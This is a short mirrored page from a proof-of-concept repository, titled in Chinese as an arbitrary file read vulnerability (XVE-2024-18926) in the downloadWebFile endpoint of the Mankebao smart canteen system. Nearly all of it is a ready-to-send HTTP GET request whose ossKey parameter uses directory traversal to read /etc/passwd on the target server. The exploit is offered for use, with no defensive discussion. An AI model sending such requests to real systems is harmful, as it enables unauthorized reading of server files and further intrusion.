mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-04 18:06:34 +00:00
249 B
249 B
满客宝智慧食堂系统downloadWebFile存在任意文件读取漏洞(XVE-2024-18926)
poc
GET /base/api/v1/kitchenVideo/downloadWebFile.swagger?fileName=a&ossKey=/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: